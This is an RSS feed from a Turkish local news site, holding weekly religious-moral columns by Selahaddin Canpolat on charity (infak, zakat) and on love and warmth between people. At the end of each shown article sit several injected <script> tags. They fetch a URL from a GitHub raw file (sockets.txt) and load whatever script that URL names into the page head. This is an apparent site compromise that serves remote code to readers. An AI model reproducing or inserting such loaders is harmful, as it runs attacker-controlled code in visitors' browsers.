<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Selahaddin Canpolat &#8211; Elazığda Güçlü Haber Sitesi</title>
	<atom:link href="https://elazigdagucluhabergazetesi.com/author/selahattincanpolat/feed/" rel="self" type="application/rss+xml" />
	<link>https://elazigdagucluhabergazetesi.com</link>
	<description>elazığ haber</description>
	<lastBuildDate>Tue, 21 Jan 2025 18:48:58 +0000</lastBuildDate>
	<language>tr</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>DÜNYA MALI DÜNYADA KALIYOR ASIL YATIRIM AHİRETE YAPILANDIR&#8230;.</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/12/21/dunya-mali-dunyada-kaliyor-asil-yatirim-ahirete-yapilandir/</link>
		
		<dc:creator><![CDATA[Selahaddin Canpolat]]></dc:creator>
		<pubDate>Sat, 21 Dec 2024 12:53:23 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=9477</guid>

					<description><![CDATA[Çok kıymetli takipçilerim, değerli okurlarım, sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yeni bir konu ile buluşmanın mutluluğunu yaşıyorum… “Sevgili okurlarım ; “Cennete giden yol iyilikten geçer...]]></description>
										<content:encoded><![CDATA[<figure id="attachment_8840" aria-describedby="caption-attachment-8840" style="width: 150px" class="wp-caption alignleft"><img decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1-150x150.png" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1.png 2x" alt="Selahaddin Canpolat" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-8840" class="wp-caption-text">SELAHADDİN CANPOLAT</figcaption></figure>
<p>Çok kıymetli takipçilerim, değerli okurlarım, sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yeni bir konu ile buluşmanın mutluluğunu yaşıyorum…</p>
<p>“Sevgili okurlarım ;<br />
“Cennete giden yol iyilikten geçer. Cennete iyiler gidecektir. Peki iyi kim, iyilik nedir? İyi, nefsin iyi dediği değil, Allah’ın iyi dediğidir. İyi kimse, iman edip salih amel işleyendir. Kısaca. İyi insan ALLAH’ ın rızasını gözetir devamlı. İyi insan ahiret merkezli dünya hayatı yaşar. Bunun için dünyada erdemli bir hayat tarzı benimser. Yalan dolan, fırıldak işlere girmez. Aldatmaz, incitmez, nereden gelirse gelsin küpünü doldur demez ve helal haram duyarlılığını gözetir. Öyleyse bir kahvenin kırk yıl hatırı vardır” özdeyişini unutmamak, bazı hallerde kötülük yapana bile iyilikle karşılık vermek kardeşlik bağlarını güçlendirir, maddi ve manevi değerlerin kime ait olursa olsun ortak olduğu ve korunması gerektiği düşünce ve duygusuna hayat verir. Başka bir deyişle “Ne verirsen elinle o gider seninle” bu ifadenin dini ve manevi anlamı şudur; bu dünyada yapılan her iyiliğin her kötülüğün öldükten sonra da bir karşılığı olduğunu ifade etmesidir. İslam dininde cennet cehennem kavramı inancın temelinde vardır. Bu nedenle de ‘o gider seninle’ ifadesi günah ve sevap kavramları ile ilgilidir. Anlamı şöyledir. Bir insanın yaptığı tüm iyiliklerin mutlaka bir karşılığı olduğunun bir ifadesidir. Bir insan iyiliği tüm kuralları ile birlikte yaptığı işlerin mutlaka bir gün karşısına yine iyilik olarak çıkacağı atasözünde anlatılmaktadır. İyiliğin karşılıksız kalmadığı gibi kötülüklerinde bir karşılığı olduğu da yine verilen mesaj içerisinde yer almaktadır. “O, halde şu üç günlük dünyamızın son anını son dakikasını veya son nefesini yaşarken; infak tan başlayayım. İnfak, Allah için malından, parasından, ürününden harcamak demektir, özellikle başta hergün olmak üzere, ramazan ve kurban ayında da Allah’ın bize emanet olarak verdiklerinden bizler de ihtiyaç sahiplerine gönül rahatlığı ile vermeliyiz. Biz hiç birşeyin sahibi değiliz, Malda mülkte Allah’ ındır. O kendi ihsanından bizlere veriyor ve ihtiyaç sahiplerini gözetmemizi istiyor. Allah bizlere Zekat, fitre ve kurban ile ihtiyaç sahiplerine ulaşmamızı emrediyor. Dinen bu ibadetleri yapabilecek konumda olan bizler, fakir fukarayı gözetmek durumundayız. Aksi halde günah işlemiş oluruz. Özellikle zekat çok önemlidir, zekat verebilecek durumda olup dinen zengin sayılan biz insanlar, fakirin hakkını Allah’ın rızasını gözeterek vermek zorundayız.</p>
<p>&#8220;Sevgili okurlarım ;<br />
&#8220;Bu yapılanlar dışında bir de insanın gönlünden geçerek, ihtiyaç sahiplerine yardımcı olması durumu vardır ki, o da infaktır. Allah cc buyuruyor: “Allah kendi yolunda infak etmemizi. Kendi ellerinizle kendinizi tehlikeye atmamamızı Amellerimizin hepsinin en güzeli olmasını emrediyor. Allah iyilik yapanları hayır hasenat, amel’i salih işleyenleri sever. Allah için İnfak etmekten, Allah için vermekten uzak durursak kendi ellerimizle kendimizi tehlikeye atarız. Aldığımız nefes bile bizim değilken biz niye Kârun gibi veya onun izinden gidenler gibi.. zengin olma derdine düşüyoruz. Zenginlik ayıp değildir, fakat hakkını da vermek gerekir. Hakkını vermek de yoksulu, fukarayı gözetmekle, onların hakkını vermekle olur. İsraf içinde lüks içinde şatafatlı yaşamakla Allah’ın rızasına ulaşamayız. Sanırım şu rneği hepiniz de İyi biliriz. “Hz.Ebubekir’in çok zengin biri olduğunu bilmeyen yoktur..Varını yoğunu Allah için harcadığını biliriz. Buradan yola çıkarak, Müslüman en güzeline layıktır. ihtiyaç sahiplerine elinden geldikçe ihtiyaçlarını karşılamak bir Müslüman olarak aslı görevimiz olmalı, hayır hasenat sahibi bir insan olarak yaşarsak, Allah’ın bizlere verdiği zenginlik emanetinin hakkını veriyoruz demektir. Böyle zenginlerimize ne mutlu Fakat bu zorunlu ibadetleri yapmayanlar da hatırı sayılır derecededir. Zaten zekat, fitre ve kurban ibadeti hakkıyla yapılabilse, toplumda ihtiyaç sahibi insan kalmaz. “Namaz, bizi yolun yarısına; oruç, Sadaka (infak) ise, mülkün sahibi Allah huzuruna çıkarır.” Hz Ömer kendisi bu konuda hassas olduğu gibi zenginlerden de bu hassasiyeti istemiştir. Onun zamanında insanlar zekat verecek insanları bulmakta zorlandıklarını biliyoruz. Neden derseniz, çünkü herkes üzerine düşeni dürüstçe yapıyordu da ondan. “Rahat ve huzur infaktadır, Allah için harcamaktadır. Bizim bir verdiğimize Allah en az on veriyor, bundan daha karlı alışveriş olabilir mi? Allah’ın rızası; fakirin, yetimin öksüzün, masum ve mazlumun yanındadır. Az çok demeden gerekirse, peygamber efendimiz (s.a.v.) in ifade ettiği gibi, yarım hurma ile bile olsa tasadduk etmeliyiz. Bazen verilen bir lira bin liradan bile daha kıymetli olabilir. Biz yine de verirken elimizi korkak alıştırmayalım. Ne verirsek elimizle o da gider bizimle. Kefenin cebi yok, kimse bu dünyadan salih amel ve sadaka’i cariye dışında bir şey götüremiyor. Şu güzel mesaj ile bitireyim; “Peygamber efendimiz S.A.V döneminde “Bir adam ‘bu gece sadaka vereceğim’ der ve gidip sadakasını bir fahişeye verir. Halk, ‘Bu gece bir fahişeye sadaka verildi’ diye dedikodu ederler.. Sadaka veren adam ise, ‘Allah’ım! Fahişeye verdiğim sadakadan dolayı sana hamd olsun der. Bu gece de bir sadaka vereceğim’ der ve gidip sadakayı bir zengine verir. Bu sefer de, ‘Bir zengine sadaka verildi’ diye dedikodu ederler. Adam, ‘Allah’ım! Zengine verdiğim sadakadan dolayı sana hamd olsun der. Bu gece de sadaka vereceğim’ der ve gidip sadakayı bir hırsıza verir. Yine, ‘Hırsıza sadaka verildi’ diye dedikodu yaparlar. Adam, ‘Allah’ım! Hırsıza verdiğim sadakadan dolayı sana hamd olsun” der. “O, sadakaları veren kişiye şöyle denildi: Verdiğin sadakalar kabul edildi. Ancak, fakat, lakin, belki de verdiğin sadakalar sayesinde o fahişe fuhuştan vazgeçecek, belki o zengin senden ibret alacak ve Allah’ın kendisine verdiği maldan infak edecek, belki de o hırsız hırsızlıktan vazgeçecektir..</p>
<p>&#8220;Sonuç olarak ;<br />
&#8220;Mülk Allah’ındır, biz insanlar ise sadece mülkün bekçileriyiz. Yâni mülk üzerinde tasarrufta bulunma yetkisine sahibiyiz. Mülkün sahibi sadece ve sadece Allah’tır. Tasarrufta bulunana kula tasarrufu altındaki malda fakirlerin de haklarının bulunduğunu bizlere bildirmiştir. Allah bizlere bahşettiği sonsuz rızık ve nimetleri Hak yolunda harcamayı nasib etsin ve nefsimize uymaktan, cimrilikten bizleri muhafaza eylesin. Selam olsun iyilere ve iyilik yolunda yürüyenlere, infak edenlere. inşaallah. Vesselam…..</p>
<p>“Bir diğer hafta başka güzel konularda buluşmak dileklerimle…</p>
<p>“Kul Selahaddin CANPOLAT”<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SOĞUK YÜREKLERDEN SICAK MUHABBETLER BEKLENMEZ&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/12/14/soguk-yureklerden-sicak-muhabbetler-beklenmez/</link>
		
		<dc:creator><![CDATA[Selahaddin Canpolat]]></dc:creator>
		<pubDate>Sat, 14 Dec 2024 11:41:42 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=8908</guid>

					<description><![CDATA[Çok kıymetli takipçilerim değerli okurlarım sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yeni bir konu ile tekrar buluşmanın mutluluğunu yaşıyorum… “Sevgili Okurlarım ; “Sevgi, saygı ve hoşgörü,..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_8840" aria-describedby="caption-attachment-8840" style="width: 150px" class="wp-caption alignleft"><img decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1-150x150.png" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1.png 2x" alt="Selahaddin Canpolat" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-8840" class="wp-caption-text">SELAHADDİN CANPOLAT</figcaption></figure>
<p>Çok kıymetli takipçilerim değerli okurlarım sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yeni bir konu ile tekrar buluşmanın mutluluğunu yaşıyorum…</p>
<p>“Sevgili Okurlarım ;<br />
“Sevgi, saygı ve hoşgörü, hayatı hayat yapan, insanı insan yapan muhteşem duygulardır. Sevgi ortamı kardeşliği, kardeşçe insanca yaşamayı gerektirir. Olaylara sevgiyle ve kardeşçe bakabilmek oldukça önemlidir. Sevgi insanca yaşamanın gerekliliğidir. Her şeye sevgi ile bakabilmek, insanları sevgi ile kucaklayabilmek en güzel davranıştır. Yaşantımızın her evresinde, doğrularımız veya yanlışlarımızla yüzyüze olduğumuz anlarımızın olduğu bir dünyada böylesi bir hayatı yaşıyoruz. Kısaca Doğum ve ölüm arasında kısacık bir ömür. Bu kısacık yaşamda ömürün nasıl geçtiğini hiç anlamadan, birbirimizle küçük nedenlerden dolayı kavga edecek bahaneler arıyoruz… Ancak yüce dinimiz; birbirimize karşı, hoşgörülü olmayı, tahammül etmeyi dertlere, kederkere, katlanmayı, sabırlı olmayı emrediyor… Ancak her geçen gün toplum Olarak, sevgi ve saygı bağlarının zayıfladığını görmekteyiz.Toplum olarak, bireyler olarak net bildiğimiz hep dilimizde olan bir söz vardır. “Bizler imtihan dünyasındayız. Ne ekersek onu biçeriz. Bu nedenledir ki; Sevenlerin, sevmesini bilenlerin meydana getirdiği muhabbet iklimi, sevgi tohumlarına can verir. Sevginin ve sevmenin aynı zamanda bir yaşama sanatı olduğunu kabul etmeli ve unutmamalıyız..</p>
<p>“Sevgili okurlarım ;<br />
“Şu fani dünyada kalp kırıcı olmaktan ziyade, gönül yapıcı olmak daha anlamlıdır. Kırılan kalbi onarmak zordur. Maharet insanları sevmek, kalpleri fethetmektir..! Bir insan olarak çevremizde güzel anılmak, anlamlı bir iz bırakmak istiyorsak; kalpleri kapatan, karartan değil, sevgisiyle açan bir yaklaşım sergilemeliyiz. Kalpler kör olduktan sonra, gözlerin görmesinde hiçbir fayda yoktur. Hani genelde sorarız, yakınırız kendimize canımızı yakanların canı yanmayacak mı diye? Öyle içimizi acıtırlar ki dost gibi görünen düşmanlar. Bir yerden sonra alışıyor insan dost gibi görünen düşmanlara üzülmüyorsun bile, insanoğlu çiğ süt emmiş, her şey beklenir. İnsanların kabiliyetsiz, beceriksiz olması bir kusur değil, ancak karaktersiz olması bir kusurdur. Hani bir söz vardır, dost acı söyler. Bence acı söyleyen dost değil, doğruyu gösteren dosttur. Dostluk ve ihanet, siyahla, beyaz gibidir. İyi gününde yanında, kötü gününde senden kaçan iki yüzlüdür. İhanetin en ağırı her zaman en çok güvendiğimizden gelir. Kalbe giden yol sevgiden geçer. Kırılan bir kalp içinde, en etkili ilaç sevgidir. Sevgiyle harmanlanan bir kalp, yaşamın güzelliklerine açılan bir kapıdır. Gönül, bir kere sevdiğine kırıldı mı , hayat daha bir zor geliyor, parçalar yan yana gelmek bilmiyor. Ne yapsanda eski havasını, tadını vermiyor. Hiçbir şey kırılan bir bardak gibi, çatlayan bir ayna gibi, hırpalanmış bir yürek gibi, eski haline döndürmek çok zordur. Telafi etmek güç, onarmaksa imkansız… Toplum da genel olarak soğuk kişilik özelliklerine sahip bir çok kişiyle karşılaşırız ve kendilerine antipatik duygular besleriz. Çünkü soğuk kişilerden bahsederken mesafeli, uzak, iletişim kurmayan, somurtan, duygularını belli etmeyen, her şeyden önemlisi gülümsemeyen kişiler aklımıza gelir.</p>
<p>“Sevgili okurlarım ;<br />
“Bir birey olarak; ilk defa gördüüm veya tanıştığım kişi hakkında hemen güven konusunda duruşuna bakarak karar verebiliyorum. Ön yargılı biri olmamak gerek. Ben kişilerin konuşma üslubuna, davranış biçimine, iletişim tarzına ve yüz ifadelerine çok dikkat ederim. Bunlar benim kişi hakkında düşüncelerimi yönlendirir. Negatif, kendisi ve çevresiyle barışık olmayan, kıskanç, kötü niyetli ve kötü kalpli insanlardan uzak durmak olmassa olmazlarımız arasında yer almalıdır.. Ancak bazı insanlara bakıyorum da; EGO’ su mu çok, karakteri mi yok, anlamak mümkün olmuyor. Üzüntü, stres, sıkıntı, sağlık problemleri, ani olumsuzluklar yaşamımızı tehdit ederken, ruh sağlığı ve kişiliği bozuk, soğuk, bencil EGO’ su tavan yapmış insanlarla iletişim kurmak yerine pozitif, iyi niyetli, düzgün, dürüst, gülümseyen, kendine ve çevresine huzur ve mutluluk veren kişilerle olmayı seçmek gerekmektedir… Güzel bir örnek verecek olursam; “Gemi kıyıya vurmuşsa, son sözünü söylemiştir.”<br />
Etrafımıza baktığımızda genelde Soğuk insanların arkadaş edinme, başkalarıyla birlikte dost olmak gibi kaygıları yoktur. Başkalarının düşüncelerine önem vermezler. Çok fazla konuşmaz, yakınlık ihtiyacı duymazlar. Yaptığımız veya söylediğimiz şeylerin onlar için önemi asla yoktur. Soğuk ve mesafeli ilişkiler kuran insanlar, ne kadar yetkin olurlarsa olsunlar, insanlar üzerinde istedikleri etkiyi yaratamazlar. Etkili olmanın yolu, hem bilgi ve yetkinlik sahibi olmak hem de cana yakın, içten bir iletişim kurmaktan geçer. İnsanın yetkinliği kadar ilişkilerindeki sıcaklık ta önemlidir. İnsan kendini bütün varlığı ile ortaya koyduğunda içtenliği ve iyi niyeti karşı tarafa yansır, adeta sihirli bir etki yaratır. Kendi içlerinde yetkinlik ve içtenlik dengesini iyi tutturmuş insanlar, kendilerinden emin ama kibirsiz görünürler. Eleştirilere açıktırlar ve eleştirileri kendilerini geliştirmek için kullanırlar. Yine güzel bir örnek verecek olursam; “Hedefi olmayan gemiye hiçbir rüzgâr yardım edemez</p>
<p>“Sonuç olarak ;<br />
“İnsanlara iyi davranmalı ve sevmeyi bilmeyenlere sevgiyi öğretmeliyiz. Sevgi insanı birliğe, beraberliğe ve dayanışmaya götürür. İnsanları seveni, herkes sever. Sevginin ne demek olduğunu unutmamalıyız. Sevgi olmayan yerde birçok olumsuz duygu olur. Yüreğimizi görmeyenlere en güzel yıllarımızı harcatmayalım, biz bir çok kişinin belkide en güzel hayaliyiz değmeyenlerin hikayesi olmayalım. Soğuk yüreklerden sıcak muhabbetler beklenemez. Yaşadığımız şu gök kubbe altında sevgi, saygı, merhamet, hoşgörüyü içinde barındıran, eser bırakabilen, dostunun, arkadaşının yardımına koşabilen, sevgi insanı olabilen, saygı ve merhamet duyguları gelişmiş, içinde nefret ve kin gibi duyguları olmadan yaşayabilenlere ne mutlu. vesselam.</p>
<p>“Bir diğer hafta başka güzel konularda buluşmak dileklerimle..</p>
<p>“Kul Selahaddin CANPOLAT”<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>*HASENAT&#8230;.</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/12/05/hasenat/</link>
		
		<dc:creator><![CDATA[Selahaddin Canpolat]]></dc:creator>
		<pubDate>Thu, 05 Dec 2024 10:06:24 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=8844</guid>

					<description><![CDATA[“Çok kıymetli takipçilerim, değerli okurlarım, sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yeni bir konu ile buluşmanın mutluluğunu yaşıyorum… “Sevgili okurlarım ; “Cennete giden yol iyilikten geçer...]]></description>
										<content:encoded><![CDATA[<figure id="attachment_8840" aria-describedby="caption-attachment-8840" style="width: 150px" class="wp-caption alignleft"><img decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1-150x150.png" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1.png 2x" alt="Selahaddin Canpolat" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-8840" class="wp-caption-text">SELAHADDİN CANPOLAT</figcaption></figure>
<p>“Çok kıymetli takipçilerim, değerli okurlarım, sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yeni bir konu ile buluşmanın mutluluğunu yaşıyorum…</p>
<p>“Sevgili okurlarım ;<br />
“Cennete giden yol iyilikten geçer. Cennete iyiler gidecektir. Peki iyi kim, iyilik nedir? İyi, nefsin iyi dediği değil, Allah’ın iyi dediğidir. İyi kimse, iman edip salih amel işleyendir. Kısaca. İyi insan ALLAH’ ın rızasını gözetir devamlı. İyi insan ahiret merkezli dünya hayatı yaşar. Bunun için dünyada erdemli bir hayat tarzı benimser. Yalan dolan, fırıldak işlere girmez. Aldatmaz, incitmez, nereden gelirse gelsin küpünü doldur demez ve helal haram duyarlılığını gözetir. Öyleyse bir kahvenin kırk yıl hatırı vardır” özdeyişini unutmamak, bazı hallerde kötülük yapana bile iyilikle karşılık vermek kardeşlik bağlarını güçlendirir, maddi ve manevi değerlerin kime ait olursa olsun ortak olduğu ve korunması gerektiği düşünce ve duygusuna hayat verir. Başka bir deyişle “Ne verirsen elinle o gider seninle” bu ifadenin dini ve manevi anlamı şudur; bu dünyada yapılan her iyiliğin her kötülüğün öldükten sonra da bir karşılığı olduğunu ifade etmesidir. İslam dininde cennet cehennem kavramı inancın temelinde vardır. Bu nedenle de ‘o gider seninle’ ifadesi günah ve sevap kavramları ile ilgilidir. Anlamı şöyledir. Bir insanın yaptığı tüm iyiliklerin mutlaka bir karşılığı olduğunun bir ifadesidir. Bir insan iyiliği tüm kuralları ile birlikte yaptığı işlerin mutlaka bir gün karşısına yine iyilik olarak çıkacağı atasözünde anlatılmaktadır. İyiliğin karşılıksız kalmadığı gibi kötülüklerinde bir karşılığı olduğu da yine verilen mesaj içerisinde yer almaktadır. “O, halde şu üç günlük dünyamızın son anını son dakikasını veya son nefesini yaşarken; infak tan başlayayım…</p>
<p>“Sevgili okurlarım ;<br />
“Unutmayalım ki; “İnfak, Allah için malından, parasından, ürününden harcamak demektir, özellikle başta hergün olmak üzere, ramazan ve kurban ayında da Allah’ın bize emanet olarak verdiklerinden bizler de ihtiyaç sahiplerine gönül rahatlığı ile vermeliyiz. Biz hiç birşeyin sahibi değiliz, Malda mülkte Allah’ ındır. O kendi ihsanından bizlere veriyor ve ihtiyaç sahiplerini gözetmemizi istiyor. Allah bizlere Zekat, fitre ve kurban ile ihtiyaç sahiplerine ulaşmamızı emrediyor. Dinen bu ibadetleri yapabilecek konumda olan bizler, fakir fukarayı gözetmek durumundayız. Aksi halde günah işlemiş oluruz. Özellikle zekat çok önemlidir, zekat verebilecek durumda olup dinen zengin sayılan biz insanlar, fakirin hakkını Allah’ın rızasını gözeterek vermek zorundayız. Bu yapılanlar dışında bir de insanın gönlünden geçerek, ihtiyaç sahiplerine yardımcı olması durumu vardır ki, o da infaktır. Allah cc buyuruyor: “Allah kendi yolunda infak etmemizi. Kendi ellerinizle kendinizi tehlikeye atmamamızı Amellerimizin hepsinin en güzeli olmasını emrediyor. Allah iyilik yapanları hayır hasenat, amel’i salih işleyenleri sever. “Allah için İnfak etmekten, Allah için vermekten uzak durursak kendi ellerimizle kendimizi tehlikeye atarız. Aldığımız nefes bile bizim değilken biz niye Kârun gibi veya onun izinden gidenler gibi.. zengin olma derdine düşüyoruz. Zenginlik ayıp değildir, fakat hakkını da vermek gerekir. Hakkını vermek de yoksulu, fukarayı gözetmekle, onların hakkını vermekle olur. İsraf içinde lüks içinde şatafatlı yaşamakla Allah’ın rızasına ulaşamayız.</p>
<p>“Sevgili okurlarım ;<br />
&#8220;Sanırım şu örneği hepiniz de İyi biliriz. “Hz.Ebubekir’in çok zengin biri olduğunu bilmeyen yoktur..Varını yoğunu Allah için harcadığını biliriz. Buradan yola çıkarak, Müslüman en güzeline layıktır. ihtiyaç sahiplerine elinden geldikçe ihtiyaçlarını karşılamak bir Müslüman olarak aslı görevimiz olmalı, hayır hasenat sahibi bir insan olarak yaşarsak, Allah’ın bizlere verdiği zenginlik emanetinin hakkını veriyoruz demektir. Böyle zenginlerimize ne mutlu Fakat bu zorunlu ibadetleri yapmayanlar da hatırı sayılır derecededir. Zaten zekat, fitre ve kurban ibadeti hakkıyla yapılabilse, toplumda ihtiyaç sahibi insan kalmaz. “Namaz, bizi yolun yarısına; oruç, Sadaka (infak) ise, mülkün sahibi Allah huzuruna çıkarır.” Hz Ömer kendisi bu konuda hassas olduğu gibi zenginlerden de bu hassasiyeti istemiştir. Onun zamanında insanlar zekat verecek insanları bulmakta zorlandıklarını biliyoruz. Neden derseniz, çünkü herkes üzerine düşeni dürüstçe yapıyordu da ondan. “Rahat ve huzur infaktadır, Allah için harcamaktadır. Bizim bir verdiğimize Allah en az on veriyor, bundan daha karlı alışveriş olabilir mi ? Allah’ın rızası; fakirin, yetimin öksüzün, masum ve mazlumun yanındadır. Az çok demeden gerekirse, peygamber efendimiz (s.a.v.) in ifade ettiği gibi, yarım hurma ile bile olsa tasadduk etmeliyiz. Bazen verilen bir lira bin liradan bile daha kıymetli olabilir. Biz yine de verirken elimizi korkak alıştırmayalım. Ne verirsek elimizle o da gider bizimle. Kefenin cebi yok, kimse bu dünyadan salih amel ve sadaka’i cariye dışında bir şey götüremiyor. Dünya malı dünyada kalıyor asıl yatırım ahirete yapılandır.</p>
<p>“Sonuç olarak;<br />
“Şu güzel mesaj ile bitireyim; “Peygamber efendimiz S.A.V döneminde “Bir adam ‘bu gece sadaka vereceğim’ der ve gidip sadakasını bir fahişeye verir. Halk, ‘Bu gece bir fahişeye sadaka verildi’ diye dedikodu ederler.. Sadaka veren adam ise, ‘Allah’ım! Fahişeye verdiğim sadakadan dolayı sana hamd olsun der. Bu gece de bir sadaka vereceğim’ der ve gidip sadakayı bir zengine verir. Bu sefer de, ‘Bir zengine sadaka verildi’ diye dedikodu ederler. Adam, ‘Allah’ım! Zengine verdiğim sadakadan dolayı sana hamd olsun der. Bu gece de sadaka vereceğim’ der ve gidip sadakayı bir hırsıza verir. Yine, ‘Hırsıza sadaka verildi’ diye dedikodu yaparlar. Adam, ‘Allah’ım! Hırsıza verdiğim sadakadan dolayı sana hamd olsun” der. “O, sadakaları veren kişiye şöyle denildi: Verdiğin sadakalar kabul edildi. Ancak, fakat, lakin, belki de verdiğin sadakalar sayesinde o fahişe fuhuştan vazgeçecek, belki o zengin senden ibret alacak ve Allah’ın kendisine verdiği maldan infak edecek, belki de o hırsız hırsızlıktan vazgeçecek. Vah vahhh ne kadar hamd etsek azdır…</p>
<p>“O, nedenlededir ki;<br />
Mülk Allah’ındır, biz insanlar ise sadece mülkün bekçileriyiz. Yâni mülk üzerinde tasarrufta bulunma yetkisine sahibiyiz. Mülkün sahibi sadece ve sadece Allah’tır. Tasarrufta bulunana kula tasarrufu altındaki malda fakirlerin de haklarının bulunduğunu bizlere bildirmiştir. Allah bizlere bahşettiği sonsuz rızık ve nimetleri Hak yolunda harcamayı nasib etsin ve nefsimize uymaktan, cimrilikten bizleri muhafaza eylesin. Selam olsun iyilere ve iyilik yolunda yürüyenlere, infak edenlere. inşaallah. Vesselam…..</p>
<p>“Bir diğer hafta başka güzel konularda buluşmak dileklerimle…</p>
<p>“Kul Selahaddin CANPOLAT”<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ERDEM VE FAZİLETİN  EVRENSELLİĞİ&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/11/29/erdem-ve-faziletin-evrenselligi/</link>
		
		<dc:creator><![CDATA[Selahaddin Canpolat]]></dc:creator>
		<pubDate>Fri, 29 Nov 2024 12:33:18 +0000</pubDate>
